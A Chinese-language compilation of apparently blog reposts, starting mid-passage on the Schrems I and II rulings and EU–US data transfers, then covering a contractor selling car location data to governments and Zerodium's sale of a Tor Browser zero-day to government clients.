法院同意 Schrems 的意见。考虑到斯诺登的揭露，法院的结论是，所谓的安全港条款为向美国转移欧洲人的个人数据提供了充分的法律依据。但是，法院不仅仅考虑到指令的法律要求，还相当重视《欧盟基本权利宪章》第7、8和47条。第7条延续了1948年《世界人权宣言》第12条的隐私概念。但是，第 8 条为处理个人数据规定了更具体的义务，包括要求有一个 “独立的机构”。第47条强调了对侵犯权利行为进行有意义的补救的必要性。

法院认为，安全港条款未能为欧洲人的个人数据提供 “基本等同” 的保护。正如法院所解释的那样，美国 “允许公共当局普遍获取电子通信内容的立法必须被视为损害了《宪章》第七条所保障的尊重私人生活的基本权利的实质”。

法院还指出，欧盟的各个数据保护机构有义务执行《宪章》的规定。如果说 Schrems I 的地震是数据转移协议的终结，那么以《宪章》为基础的国家监管当局权力的扩大，无疑是一次重大的余震。

在支持《一般数据保护条例》的运动中，很多人都设想由即将成立的欧洲数据保护委员会（EDPB），即代表所有欧盟成员国数据保护局的数据保护官员和欧洲数据保护监督员之间协调应对的 “一站式服务”。但是法院在 **Schrems I** 一案中明确了各国数据保护局的独立性，这是一个重要的裁定，因为对欧洲数据保护委员会未能推进对跨国互联网公司的关键调查的批评在随后的几年中不断增加。

在 Schrems I 一案中，法院还提请注意法律补救措施的重要性，《宪章》第47条的规定要求对权利和自由受到侵犯的人进行 “有效补救”。

安全港条款依赖于美国办事处和机构的脆弱结构，缺乏明确的法律权力来执行数据转移安排中规定的条款。联邦贸易委员会可能会发现一家公司违反了其遵守安全港的声明，但只能告诉该公司不要再这样做，此外没有任何办法。

隐私和公民自由监督委员会 (PCLOB) 有一定的权力审查第12333号行政命令，该命令对为外国情报、反间谍和其他类似活动收集数据规定了广泛的权力，但是无法提出改革建议。而 PLCOB 无权对具体的投诉进行裁决。拟议在商务部设立的监察员有望处理关于美国行使监控权的投诉，但是长期的拖延阻碍了行动。

因此，当我在2015年出现在美国国会时，也就是在 Schrems 第一次判决后不久，我建议进行改革，以解决美国隐私法的潜在结构性问题。

我说，美国应该 (1) 制定《消费者隐私权利法案》，这是一个基于我们熟悉的《公平信息实践》的联邦立法框架；(2) 更新《隐私法》，即1974年规范联邦机构收集和使用个人数据的法律；(3) 建立一个独立的数据保护机构；(4) 批准欧洲委员会108号公约，即《国际隐私公约》。 我解释说："这才是使跨境数据流动得以继续、并保护美国消费者和美国企业利益的策略"。

但是，美国走上了一条不同的路。美国和欧盟没有对隐私法进行任何更新，而是谈判达成了所谓的 "隐私盾"，这是一个非常类似于被法院驳回的安全港条款的跨大西洋数据流动安排。赞成新框架的人称其为 "安全港2.0"。不那么慷慨的人则称之为 "安全港0.7"。【就是更差劲的意思】

2016年，第29条工作组（即EDPB的前身26）对欧盟与美国迅速完成谈判、对产生所谓的 "隐私盾" 表示欢迎，但也对新框架不符合欧盟法院规定的所有基本等同标准表示了担忧。

第29条工作组概述了协议的四项 "基本保障"，包括法律明确性、符合人权标准、建立独立的监督机制、和提供有效的补救措施。这一分析很有先见之明。38 个欧盟和美国的民权组织在隐私保护协议通过后不久发表的言论也是如此。他们写道："我们……不认为美国和欧盟之间的隐私保护安排符合欧盟法院制定的标准，包括在最近宣布安全港框架的法律基础无效的案件中"。

他们建议建立 "强有力和全面的执行机制"，以确保 "美国提供的保护水平与欧洲法律框架下的保护水平基本相当"，并建议制定 "确保适当补救和透明度的规定"。

大西洋两岸的消费者团体也表达了类似的观点。跨大西洋消费者对话组织(TACD)在一项得到欧盟和北美60多个消费者团体认可的决议中指出，" Privacy Shield 并没有为决定美国提供有效和有意义的数据保护提供必要的基础。美国没有一个强有力的总体数据保护法来确保其本国公民和消费者的隐私，这对认真考虑数据保护是否充分造成了障碍"。

消费者联盟正确地预测到 "所谓的隐私盾将在法院的审查下失败"，并建议 "根据欧盟和美国所需的变化，做出可持续的安排，以保证隐私

保护和法律的确定性”。

2、“隐私盾”

「图」

在“隐私盾”通过后的几年里，我们继续提醒欧盟委员会注意该框架的不足之处。2018年，我们呼吁关注《澄清境外数据合法使用法案》（CLOUD法案）的通过，该法案确立了美国执法机构对存储在其他司法管辖区的个人数据的治外法权范围；FTC未能执行对 Facebook 的法律判决；PCLOB 的空缺；以及商务部没有“隐私盾”监察员的情况。

同时，我们注意到美国最高法院在 Carpenter 诉美国一案中作出了有利于隐私的裁决，该裁决将第四修正案的保护范围扩大到执法机构所寻求的手机信号塔位置信息。最高法院在 Carpenter 案中的裁决标志着美国宪法对隐私权的看法更加宽泛了。

大约就在这个时候，欧洲议会议员也敦促暂停那个“隐私盾”。议会的决议案是在 Facebook—剑桥分析公司丑闻发生后做出的，这很可能是导致脱欧结果的原因之一，并对个人数据在民主背景下的使用（被用作操纵政治）提出了深刻的问题。

- 关于这件事的内幕《心理操纵的秘密：”行为经济学”＋PR＝？》

欧洲议会议员指出，Facebook 和剑桥分析公司都获得那个所谓的“隐私盾”的认证，并呼吁“美国当局毫不拖延地对这些揭露采取行动，必要时将滥用个人数据的公司从 Privacy Shield 名单中删除。”值得注意的是，欧洲议会议员表示担心，“如果数据被用于操纵政治舆论或投票行为，数据泄露将会对民主进程构成威胁。”

而在2019年，我们注意到《外国情报监视法》(FISA) 第702条规定的批量监控未能改革，缺乏全面的联邦隐私法和数据保护权，以及从整个联邦政府收集非公民数据的行政命令。

但我们也肯定了美国在经合组织支持《经合组织人工智能（AI）原则》中的领导作用，该原则是建立在早期经合组织隐私准则基础上的重要全球框架。我们的总结是：

虽然我们注意到 PCLOB 已开始运作，而商务部依然

> 设有隐私申诉专员，但我们也发现，美国的隐私法例在现代化方面并无任何进展，也没有成立本土保障机构，更没有改革第702条 —— 该条文容许大量监察非美国人士的私人通讯。自上一次审查隐私保护措施以来，美国还在边境推进了积极的监控措施，包括面部识别和收集

我们向欧盟委员会表达了对遵守 Privacy Shield 的关切，我们在美国国会的发言也表达了同样的关切，敦促修改《外国情报监视法》第702条，该条规定了广泛的监视权力。美国的许多隐私倡导者担心第**702**条为 “后门搜查” 美国人提供了机会，并建议进行修改以解决这一问题。

我们也明确了702条对隐私保护下的跨大西洋数据传输带来的问题。正如我们在2017年向国会解释的那样，“702条款授权美国政府对包括欧盟公民在内的全世界非美国人的通信进行批量监控。如果国会不进行改革，Privacy Shield 和其他跨大西洋数据传输机制很可能被欧洲法院宣布无效。”

我们当时说，“考虑到美国公民、外国盟友和商业贸易的利益，显然有必要改进第702条中的隐私保护和公开报告手段”。“如果不进行任何实质性的改革以确保保护大西洋两岸个人的基本权利，则 Privacy Shield 将使用户处于风险之中，并破坏对数字经济的信任。”

3、SCHREMS II

「图」

在 Schrems II 判决之前，许多人认为，法院将保留 Privacy Shield。2019年12月发布的 “检察长意见” 对这一预测给予了一定的重视。

检察长在隐私保护的充分性问题上听从欧盟委员会的意见，认为对该框架的审查 “不属于” 向法院提出的问题范围。这一意见就像其早先在谷歌诉西班牙案中的意见一样，并没有预见到接下来的判决。

3.1 判决

「图」

简而言之，法院认定委员会2016年坚持 “隐私盾” 的决定无效。法院的结论是，关于将个人数据从 Facebook 爱尔兰转移到美国的问题，

美国监控法的规定不足以满足《宪章》规定的 “基本等同” 要求。

法院指出，除其他因素外，美国的监控法规和相关法律缺乏相称性，收集的数据并不限于严格必要的数据，以及美国法院没有为非美国人提供任何有意义的补救措施。 法院还指出，美国隐私监察员既不独立、也无法实施任何有意义的补救措施。

为呼应 Schrems I 的判决，法院在 Schrems II 中也明确指出，在无法确保符合欧盟法律要求的情况下，欧盟的各个数据保护机构 “需要暂停或禁止个人数据的转移”。

只有在独立监管机构能够确保遵守欧盟法律的情况下《标准合同条款》才能继续为跨大西洋数据流动提供法律依据。正如 Francesca Bignami 教授所解释的那样：“在[法院]对执法系统的详细描述中，DPAs 是以合同为基础向第三国转移的基本支持：如果他们发现标准合同条款的细则在第三国没有得到遵守，他们必须暂停或禁止数据转移。”

对于那些关注 Schrems I、隐私保护的发展、批评性评估、消费者组织的评论、欧洲议会议员的反应、以及美国方面没有实质性变化的人来说， Schrems II 没有什么令人惊讶的地方。Privacy Shield 的倒台原因与所谓的安全港倒台相同。

但即使在这些框架倒下的同时，现代隐私法的更深层次的基础也在形成，这个基础不仅能加强欧盟的基本权利和法治，还能在网络风险日益增加的时代为其他民主国家提供有效的数据保护模式。

3.2 卢森堡法院与斯特拉斯堡法院之间的对话

「图」

在隐私学者中，甚至在美国方面，该法院和欧洲人权法院(ECtHR)之间关于现代隐私权范围的对话也很吸引人。可以肯定的是，斯特拉斯堡法院占了先机，该法院早期的许多判决反映了斯特拉斯堡法院提供的对《欧洲人权公约》第8条的解释所形成的成熟学说。 但随着时间的推移，法院借助《宪章》第7条和第8条获得了突破 (《宪章》第8条特别提升了现代数据保护的概念)

这其中的大部分内容可以通过参考该法院院长2019年底的一篇引人注目的文章来理解。 在该文章中，Lenaerts 解释说，《宪章》第52(1)条所描述的 “基本权利的本质” 必须得到尊重，“这样对基本权利的行

使的限制才是合理的”。 因此，“如果欧盟的一项措施没有适当考虑到基本权利的本质，那么这项措施就不符合《宪章》的规定，必须予以废止或宣布无效”。

Lenaerts 将这一结论建立在 Schrems I 中，他指出：“基本权利的本质概念意味着每一项基本权利都有一个’硬核’，它保证每个人都有一个自由的领域，必须始终保持不受干涉。我认为这个核心是绝对的，因为它不应该受到限制。

对《宪章》第52条的评估至关重要，这不仅是为了理解为什么法院在 Schrems I 和 II 案中都强调 “权利的本质”，而且也是为了理解为什么它似乎超越了欧洲人权法院以前的判决。

Lenaerts 写道：“一旦确定一项基本权利的实质受到损害，有关措施就不符合《宪章》。因此，无需对相互竞争的利益进行平衡。正如 Schrems 案的判决所显示的那样，损害基本权利本质的措施是自动不相称的”。此前对爱尔兰数字权利案和瑞典Tele2案的判决也反映了这一观点。

要理解为什么这预示着现代隐私权的新道路，还必须看到，尊重基本权利的实质可以在欧洲人权法院的判例法中找到，但在《欧洲人权公约》中没有明确规定。

Lenaerts 认为，这种结果 “既不反映基本权利本质的绝对性，也不反映《宪章》第52条第1款的逻辑”。因此，第52(1)条为基本权利提供了基石，是符合宪政民主国家利益的数据保护基础。

4、下一步

「图」

4.1 不仅仅是合规

「图」

遗憾的是，美国方面对 Schrems II 案的最初反应是对法院的判决感到失望。一些批评者说，法院没有充分考虑对非美国人的保护范围；另一些人则指责法院虚伪，认为美国为情报收集活动提供的保护比欧盟的一些成员国要“高”。

甚至，美国前驻欧盟大使 Anthony Gardner 在其个人推特上写

道：“Max Schrems 是时候明确是谁一直在资助他的法庭案件了。我怀疑它们是否都是众筹的。有趣的是，他似乎并不关心俄罗斯或中国滥用欧盟公民数据的问题。”【就是栽赃。丢脸后的第一反应不是改变自己的错误做法，而是栽赃提起诉讼的人】

几乎立即出现的问题是，应如何改变跨大西洋数据流动的框架，以满足法院的要求。一些学者建议对美国的补救机制进行改进，“为监视投诉建立真正的个人补救权”。商业团体建议就新协议立即进行谈判。

但消费者团体明智地反对 “Privacy Shield 2.0”。TACD 呼吁在美国建立一个 “全面的数据保护法律框架”，其中包括一个独立的数据保护机构，以及 “在司法当局面前强有力的执行和补救的可能性”。

欧洲消费者组织（BEUC）也表达了类似的观点。“如果美国不采取强有力的全面的数据保护框架，包括联邦一级的隐私法，未来的欧盟—美国数据流动协议将无法在法庭上站住脚”。

4.2 欧盟—美国的承诺

「图」

在此背景下，美国商务部部长 Wilbur Ross 和欧洲司法专员 Didier Reynders 在8月初发表的联合声明标志着一种新的做法。他们承认法院的判决，但他们表示，可能正在酝酿 “Privacy Shield 2.0”，尽管他们将其描述为 “有可能 “加强” 隐私盾框架以遵守该判决（也就是改良），这至多可以理解为承认应避免再次前往卢森堡。

而这正是文本变得有趣的地方。曾经欧盟和美国的政策制定者们花费精力构建数据传输框架，而这些框架并没有打乱美国的自以为是，也没有给美国企业带来明显负担，而 Ross-Reynders 公报则标志着双方将共同承担起更广泛的野心。

他们写道：“欧盟和美国认识到数据保护的极端重要性以及跨境数据传输对我们的公民和经济的意义”；欧盟和美国都 “共同致力于隐私和法治”，并将努力 “加强数据保护，促进大西洋两岸近8亿公民的更大繁荣”。

欧盟和美国的政策制定者愿意共同 “确认法治” 和 “加强大西洋两岸的数据保护……” 的原因何在？

近三十年来，欧洲和美国在数据保护上走的都是截然不同的道路。欧洲推进了法律框架，将数据保护从指令发展到条例，而美国则坚守一个信念，即 所谓的知情的消费者，只要掌握了隐私政策和选择退出按钮，就能保障自己的个人数据。第一修正案的本质主义与数据保护的本质主义相对立。有些事情已经发生了变化。

4.3 中国

「图」

在 Schrems 第一项判决作出时，斯诺登和国家安全局的影响很大。尽管所谓的安全港的结构性问题已被人们所熟知，但是，直到欧洲人意识到**NSA**监控的范围，隐私保护自律方式的弱点才显现出来：即使是用心良苦的公司也无法避免数据被政府监控。而斯诺登事件披露的不断鼓动，让美国的间谍监控机构被置于持续不断的关注之下。

美国情报机构的监视仍然是法院在 Schrems II 案中判决的核心。最简单的说法是，美国互联网公司获得的欧洲人的个人数据很容易被美国情报机构获取，这是标准合同条款，甚至新的 Privacy Shield 都无法解决的问题。

但自斯诺登最初披露以来，监控的世界也发生了一点变化。美国已经着手对某些监控当局进行管制，美国国内公开对某些计划的有效性提出质疑，甚至美国总统也对外国情报监控法院的权威提出质疑，此前一位监察长的报告对提交给该法院的监控申请的真实性提出了质疑。

同时，世界越来越意识到中国政府日益强大的监视能力。这既出现在国家认可的针对西方公司和政府机构掌握的个人数据的网络攻击中，也出现在关于5G网络技术等关键基础设施的决策中。

- 《美国、中国和俄罗斯：暗网最强大的民族国家骇客》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

这些担忧是深远的。美国指称，中国国家支持的攻击应对信用报告机构 Equifax 和美国人事管理办公室的数据泄露负责。

在 Equifax 数据泄露事件发生后，我在2017年美国参议院的听证会上谈到了数据保护的国家安全层面，该事件泄露了用于识别身份的验证信息，如 出生日期和社会安全号码。我当时强调，隐私保护不再是简单地保护消费者免受大公司的侵害。我说：“Equifax 公司的违规事件对美国家庭的安全以及国家安全都构成了巨大挑战”。

最近，我指出了大规模监控模式，中国政府可能会寻求在世界各国进行投资时扩大规模。 我们对数据保护的了解正在不断发展。

美国方面已经越来越意识到，它可能不再能够主导全球监控世界。美国和欧盟努力推进人工智能政策框架，以应对中国不断提升的人工智能实力所带来的迫在眉睫的挑战，也是对这一点的回应。在这一努力中，美国和欧盟在数据保护问题上似乎也越来越一致，这显然不再是一个简单的贸易问题。

5、结论

「图」

Schrems I 提请人们注意美国和欧盟在现代隐私概念上的巨大分歧，并提出了一个务实的但基本无效的政策回应。Schrems II 判决是在美国和欧盟正在走向一个共同的立场，使民主国家的数据保护保持一致，并认识到未能保护公民个人数据的国家安全风险的情况下作出的。

原先对美国的建议只会变得更加迫切：(1) 制定全面的联邦隐私立法，(2) 建立独立的数据保护机构，(3) 批准欧洲委员会的隐私公约。

正如我在2015年向国会解释的那样，“美国不应该因为欧洲法院的一个判决而更新其隐私法。美国应该无条件更新其隐私法因为它早就该更新了，我们的隐私法一直未能实现现代化，让美国消费者付出了巨大的代价。”

对 Schrems II 的回应不仅仅是修改美国的监控法以符合欧盟的要求的问题。其回应必须加强民主治理的结构、法治，并保障大西洋两岸人民的个人数据。美国和欧盟现在都对这一任务的成功有共同的兴趣。○

原文

他们实时跟踪全世界150亿辆汽车的一举一动：强大监视能力正在推销给政府 - iyouport

监视资本主义的世界

哪里有数据产出，哪里就有监视资本家的盗窃

一家此前曾向美国军方出售服务的监控承包商正在为其一款产品做广告，该产品称可以定位地球上几乎所有国家的特定汽车的实时位置。根据 Motherboard 获得的一份文件，它表示通过使用汽车及其组件本身收集和发送的数据来实现这一点。

- 不要错过《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》，以及《一些简单的措施以防止您的汽车被骇客控制》

“Ulysses 可以为我们的客户提供除朝鲜和古巴以外的全世界几乎所有国家的汽车远程地理定位能力”，承包商 The Ulysses Group 撰写的文件中写道，“目前，我们平均每个月可以访问全球超过150亿辆汽车的位置”，该文件补充道。

虽然该公司告诉 Motherboard，目前还没有将产品卖给美国政府，但是，这一消息凸显了汽车追踪技术的规模和覆盖面，而且汽车位置数据不仅仅是保险公司和金融部门感兴趣，政府承包商也明确表示要将数据来源用于情报和大规模监控的目的。

Ulysses 此前已经与美国特种作战司令部（SOCOM）签订了一份合同，不过是针对不同的技术。

消费者可能不知道，汽车制造商和原始设备制造商(OEM)经常在汽车部件中加入传感器，收集其安全气囊和安全带状态、发动机温度和当前位置等信息，然后将这些信息传回汽车制造商或卖给第三方。数据聚合公司也会购买或获取这些数据，重新包装，然后将这些数据或基于这些数据的产品卖给自己的客户。包括政府。

“车辆远程信息处理是通过汽车中的嵌入式通信系统从汽车传输到汽

车制造商或OEM的数据”，Ulysses 的文件继续说道，“在数以千计的其他数据点中，车辆位置数据在车辆运行时不断地、近乎实时地传输。”

该文件特别提出，这项技术可以用于军事行动。“我们相信，这一属性将极大地增强军事情报和作战能力，并降低目前用于搜索和获取感兴趣的移动目标的ISR[情报、监视、侦察]资产的成本和风险足迹”，文件补充道。它说，“Ulysses” 拥有 “现有的所有对批量商业远程信息处理数据的访问权”。

文件中包括一张地图，显示了明显的车辆位置，分布在俄罗斯、乌克兰和土耳其，包括与叙利亚交界处。地图旁边的一段文字称，Ulysses 的数据访问可以让客户分析目标，“无论你是想对一辆车进行地理定位，还是如这里所示的25,000,000辆汽车”，该公司LinkedIn页面上的一张图片似乎显示了与保加利亚有关的数据。

「图」

参议员 Ron Wyden 的办公室获得了这份文件，然后将其提供给 Motherboard。Wyden 发言人 Keith Chu 在一份声明中告诉 Motherboard，“关于私人信息是如何被买卖的，我们知道的太少了。Wyden 参议员正在对个人数据的出售进行调查，特别是通过数据经纪人，以使这一阴暗行业得到一些阳光。我们的办公室正在继续对数据经纪人获取公民信息的地点，以及他们将信息卖给谁进行监督。”

Ulysses 是一家总部位于南卡罗来纳州查尔斯顿的小型监控承包商，根据该公司的网站，该公司还提供手机拦截和干扰技术、隐藏式录像机以及战术驾驶等军事培训。财务披露记录显示，该公司向特朗普前国家安全顾问、迈克尔·弗林支付了顾问费。

根据 Motherboard 挖掘出的公共采购记录，Ulysses 与美国特种作战司令部(SOCOM)合作，该司令部是负责镇压抗议活动、反恐和特种侦察的军事部门。

海军中尉 Cmd. Timothy Hawkins 在一封电子邮件中告诉 Motherboard，2016年一份与 Ulysses 有关的合同 “利用公开信息分析同行和接近同行的竞争国家如何在非洲、中美洲、和南美洲进行经济和金融投资。SOCOM 利用这一分析加深了我们对外国竞争者如何利用经济和金融工具对抗美国在这些地区利益的理解。该合同的工作期限约为一年，于2017年结束。”

Ulysses 在其网站上表示，它已经在英国的反恐博览会上发表了演讲，并在其 **LinkedIn** 页面上声称它参加了最近与美国海军的活动。

“Ulysses 参加海军联合机构间实地实验21–2活动”，帖子中写道，旁边是一张车辆在高速公路上行驶的图片。“基于远程信息学的情报；数据的下一次革命”，图片补充道。在其网站上，Ulysses 还表示，它已经与国家地理空间情报局（**NGA**）合作了四份合同。

海军承认了评论请求，但没有回答具体问题，即 Ulysses 是否向海军演示了车辆位置数据产品，或者 Ulysses 出席的目的是什么。NGA则提供了一份声明。

Ulysses 集团总裁安德鲁·刘易斯（Andrew Lewis）在一封电子邮件中告诉 Motherboard，“我们可能制作的任何专有宣传材料都是基于现代远程信息处理设备的公开信息而开发的愿景。”

“我们还没有与政府或其任何机构签订任何与我们在该领域的工作有关的合同，我们从未从政府那里获得与远程信息处理相关的资金”，刘易斯补充道。

该文件并没有解释 **Ulysses** 究竟是如何获得如此多数据的，是直接从汽车制造商或OEM厂商那里获得，还是通过一家聚合公司获得？但有很多公司可能会做出贡献。

例如，随着消费者更多使用GPS导航工具，“OEM将拥有数据的第一手资料，因为他们制造了汽车，并且可以访问远程信息处理系统”，Privacy4Cars 的创始人 Andrea Amico 在电话中告诉 Motherboard，该公司除其他事项外，还出售帮助经销商删除车辆数据的工具。“但是，比如说，提供地图本身的公司会有权限；提供信息娱乐系统的公司可能有权限；提供交通数据的公司可能有权限；提供停车数据的公司也可能有权限。就这样，你就有了五家公司可以获取你想要的位置数据。”

通过手机，消费者一般都能看到一个应用可能会请求哪些数据，但是汽车则不行。

“我们还没有进入汽车的隐私保护时代”，Amico说。

「图」

有一家公司充当了大量这类汽车数据的中间商，它就是位于以色列的 **Otonomo**。Motherboard 暂时还没有看到证据表明 Otonomo 与

Ulysses 有关，但 Otonomo 是汽车位置数据行业运作的一个典型例子。

根据 Otonomo 为投资者所做的介绍，它与16家OEM厂商有合作关系，掌握车辆数量超过4000万辆。该介绍还说，“成千上万的组织”可以访问 **Otonomo** 的数据，它每天收集**43**亿个数据点。

Otonomo 将自己描述为 “在汽车数据生态系统的核心位置上具有独特的地位”。演示文稿显示，Otonomo 与各大汽车公司和汽车零部件公司都有关系。在另一张幻灯片中，**Otonomo** 表示，以宝马集团为例，其地理范围是 “全球性的”，有**1200**万辆汽车可用。**Otonomo** 介绍中提到的 “商业用例” 包括智能城市、经销商、车队服务，以及保险和金融公司。

- 《智能城市究竟是什么？您被它剥夺了哪些东西？》

宝马产品与技术发言人 Oleg Satanovsky 在一封电子邮件中告诉 Motherboard，宝马会向 Otonomo 发送 “交通标志、交通危险警告和交通流量信息”。A SECTION OF THE OTONOMO PRESENTATION

当被问及 Ulysses 是否是 Otonomo 的客户时，Otonomo 的内容和通信主管 Jodie Joseph Asiag 在一封电子邮件中告诉 Motherboard，“我们的政策是不评论任何商业关系的状况，除非已经公开宣布了这一事实”。 当 Motherboard 问及出售位置数据用于情报或监控目的时，Asiag 补充说，“我们没有积极追求或计划追求你提到的用例”。

投资人的幻灯片补充说，预计到**2022**年，联网汽车将占美国销售的新车的**95%**。Ulysses 则意识到了这种膨胀式的增长。

“当我们考虑到全世界每年大约有100,000,000辆汽车生产，这些汽车与制造商、其他车辆、基础设施及其车主之间的联系越来越紧密时，就会发现远程信息处理技术将彻底改变情报收集方式，并在社会上创造新的研究领域。据估计，到**2025**年，**100%**的新车将在某种程度上实现联网—— 每辆汽车每小时传输的数据超过**25**千兆字节”，该文件补充道。

汽车收集的数据的作用以及谁能获得这些数据是马萨诸塞州11月选举中的一个热点议题。那里的一项投票措施试图让独立的制造商和车主有更大的能力获取车辆的维修信息；汽车制造商花费了2500万美元游说反对这项措施，声称通过这项法律也可以获取各种传感器收集的远

程信息处理数据。制造商表示，这些数据高度敏感，更广泛地获取这些数据可能会被例如“性掠夺者”用来跟踪无辜的人（该措施中没有具体规定允许这样做，结果以压倒性的优势通过）。同时，汽车公司自己也在与第三方共享这类数据。〇

「图」

Cars Have Your Location. This Spy Firm Wants to Sell It to the U.S. Military

原文

可怜正义没有钱 - iyouport

监视资本主义的世界

【2018年9月24日存档】为什么缺德？因为钱

愤世嫉俗的人们说：这是个比恶的世界，而不是比善。我们不支持这种过于极端的观点，但某些时候，这话似乎也有些道理。当最富有的人惯用压榨剥削、欺骗和霸权而成为“1%”时，剩下的“99%”正在面临时刻袭来的危险。

上周我们编译的报道：一家名为 Zerodium 的所谓漏洞收购公司公开披露了一个 Tor 浏览器零日漏洞，这是一个明显的公关噱头。

您可能早有了解，零日漏洞是已被发现的、但尚未向负责修补的开发人员透露的安全漏洞。零日漏洞的利用程序对网络安全具有巨大威胁，因此零日漏洞不但是骇客的最爱，掌握多少零日漏洞也成为评价骇客技术水平的一个重要参数。

Zerodium 透露的零日是 Tor 浏览器的旧版本（7.x）。Zerodium 将他们的漏洞描述为能绕过 Tor / NoScript“最高”安全级别的保护，允许恶意代码在浏览器上运行。

该漏洞利用程序需要与恶意 JavaScript 结合使用，泄露用户的身份，以便“有效”。在给 ZDNet 的声明中 Zerodium 首席执行官 Chaouki Bekrar 表示，“这个 Tor 浏览器漏洞被 **Zerodium** 公司在几个月前做为零日漏洞收购，并与政府客户共享。”对于那些依赖 Tor 浏览器的人来说，这当然是一个非常令人不安的启示！

使用 **Tor** 的人是为了抵抗压迫性政权对隐私的侵犯，这一信息说明人们已经有相当长一段时间处于危险之中了。

好吧，现在我们应该承认这点了，这确实就是如今整个世界的状态：一个阴暗的组织先花大把的资金吸引安全研究人员，然后将他们发现的漏洞卖给政府客户，赚回更多的钱—— 就是那些用于对抗他们的公民的地方。一切因为钱。

零日漏洞及其利用代码不仅对犯罪骇客而言具有极高的利用价值，一些国家间谍和网军部队也非常重视这些信息。据路透社的报告，美国情报部门是零日漏洞黑市的最大买家。

而中国，在自己“制造”零日漏洞。详见 access now 组织的报告：中国囤积漏洞的战略威胁全球网络安全。*a backdating of 236 days!*

2017 年11月 Recorded Future 发布了中国国家漏洞数据库出版速度研究（缩写CNNVD）。最初他们得出的结论是，中国实际上比美国更快地评估和报告漏洞。然而，当重新审视调查结果时才发现，大多数数据都被修改了，以隐藏更长的处理时间，在此期间中国政府可以评估漏洞是否对情报行动有用。

这种处理手段很可能是中国国家安全部（MSS）的命令。该部门需要更长的时间来评估这些漏洞，主要看如何利用它们，然后才会公开。通过此过程，他们会延迟发布公共通知、修补和补救指导，从而大幅增加公众所面临的危险。

中国国家机构对脆弱性的战略性使用方案并不是原创，现在这种卑劣的方法在全球都有强烈的推动力，各国政府都在制定披露政策、制定具体规则来管理国家对这种高度敏感信息的处理，如美国的 Vulnerability Equity Process（VEP）。

我们报道过这个消息：今年3月，由于来自中国的安全研究人员此前占据了黑客领域的主导地位，因此今年中国没有派出团队参加 Pwn2Own 国际黑客大赛—— 当局要控制技术高手在自己的权力范围内。5月，第一次在美国境外举行的 DEFCON 是与百度安防合作在中国北京举行的，此事则进一步暴露了政府对控制安全漏洞信息流动的明显渴望。

2018年7月，美国国会听证会上透露，中国政府在中国公司向用户（包括外国政府）披露漏洞之前，已经知道了微处理器中如今臭名昭着的 Meltdown 和 Spectre 漏洞。这一举措对中国当局来说有明显的战略优势，同时，它极有可能危及全球数字生态系统的安全。

当漏洞未被修补时，它们会构成严重的安全威胁，这种威胁影响深远且具有潜在的经济破坏性。漏洞披露的及时和准确是防止这种破坏发生的最有效方法。然而，包括中国在内的越来越多的国家则采取了相反的方法。中国拥有一个相当大的黑客社区，其技术实力绝不容忽视。

全球范围内，政府和情报机构对零日漏洞的需求量非常大，从而推动了一个巨大的交易市场的出现，就如 Zerodium 这样的公司，就是该市场的交易中间人，这些公司已经赚得盆满钵满。

Zerodium 毫不掩饰他们卑劣的经营，该网站上就直接写着，他们的客户“主要是政府组织……以及来自国防、技术和金融部门的大公司”。Zerodium 甚至为他们的高价支出而感到自豪，他们在自己的网站上说：“我们支付大笔的奖金，真金白银不是虚的”。

但必须知道！这个模式与像 **HackerOne** 或 **Bugcrowd** 那些传统的 **bug** 赏金流程有根本性的不同！后者会直接向开发人员报告漏洞，以便立即修补它们。传统程序通常也会向提交漏洞的安全研究人员支付（相比下少很多的）费用。而前者，直接卖给了必然将这些漏洞武器化压制本国人民的的政府当局，赚来大把的金钱。

那么对于此案例来说，Tor 的用户究竟前后总共多长时间处于危险之中？做个拼图并不难：

2017 年 9 月 13 日，Zerodium 的网站宣布了限时优惠：2017 年 9 月 13 日至 2017 年 11 月30日期间，他们将为 Tor Browser 漏洞发现者支付总计 1,000,000 美元。是的，你没有看错：一百万美元。

为了能看得更清楚一点，我们来做个悲惨的比较。在 Tor Project HackerOne 页面上，Tor Browser 的开发人员表示为发现高危严重性漏洞的研究人员提供 **4,000** 美元的资金，自 2017 年7月20日他们的漏洞赏金计划启动以来，他们只支付出了 7,100 美元……他们根本无法与政府客户的财务能力相竞争。

而 Zerodium 的声明还指出，如果能发现一个功能更强的漏洞可以获得更高的奖金，需要是可以绕过阻止 JavaScript 的 Tor / NoScript “最高”安全级别的那种。这就是正是发生的事。

一名安全研究人员发现了这样一个漏洞，并将其出售给了 Zerodium。虽然 Zerodium 当时没有透露他们对 Tor 浏览器漏洞支付的结果，但 Bekrar 上周向 ZDNet 表示，在限时优惠报价期间和之后，他们获得了许多符合他们要求的 **Tor** 漏洞。这意味着政府实体在 2017 年 9 月 13 日限时优惠开始后的任何时间都可以使用这个 Tor 浏览器漏洞。

Bekrar 声明不受漏洞影响的 Tor Browser 8.0 于 2018 年9月5日发布 —— 也就是在 Zerodium 于 2018 年9月10日向公众发布 Tor 浏览器

零日漏洞之前的仅仅 5 天！这意味着可能差不多有一年的时间里，**Tor Browser** 用户试图保护自己免受压迫性政权危害的目的都失败了！却全然不知道自己正在危险之中。

如果出售 Tor 浏览器漏洞的安全研究人员将其提交给 Tor 浏览器开发者，他们可能会获得更少的经济回报，但会为世界做出善事。但事实上……他们选择了金钱，而不是道德。

当然，一些政府间谍机构可能会自己发现 Tor 浏览器漏洞，并且在 Zerodium 开始暗中兜售它之前就已经知道了。与 Tor 浏览器捆绑在一起的 NoScript 扩展开发人员 Giorgio Maone 告诉 ZDNet，该漏洞是在 2017 年5月11日发布的 NoScript 5.0.4 中引入的。如果间谍机构或其他任何人在 Zerodium 收购之前发现了这个漏洞的话，用户可能在那时开始就已经陷入危险了。

合理合法的 bug 赏金程序应该以这样的方式运行：当安全研究人员发现漏洞时，他们会立即报告给开发人员，并尽快修补。但随着 Zerodium 等组织的“蓬勃发展”，安全研究人员正在被大笔的资金诱惑，将他们的漏洞利用出售给拥有“精英客户群”的漏洞收购公司。这些组织购买的安全漏洞通常是故意不提交给相应的开发人员，以防止它们被修补。由于漏洞未得到修补，政府买家可以在他们认为合适的情况下秘密获取并利用其发起针对目标的攻击—— 政府的“目标”是谁？调查记者、影响力很高的公民活动家、反对派组织、公民社会组织、地缘政治对手……一切有可能威胁到政权稳固的人和群体。

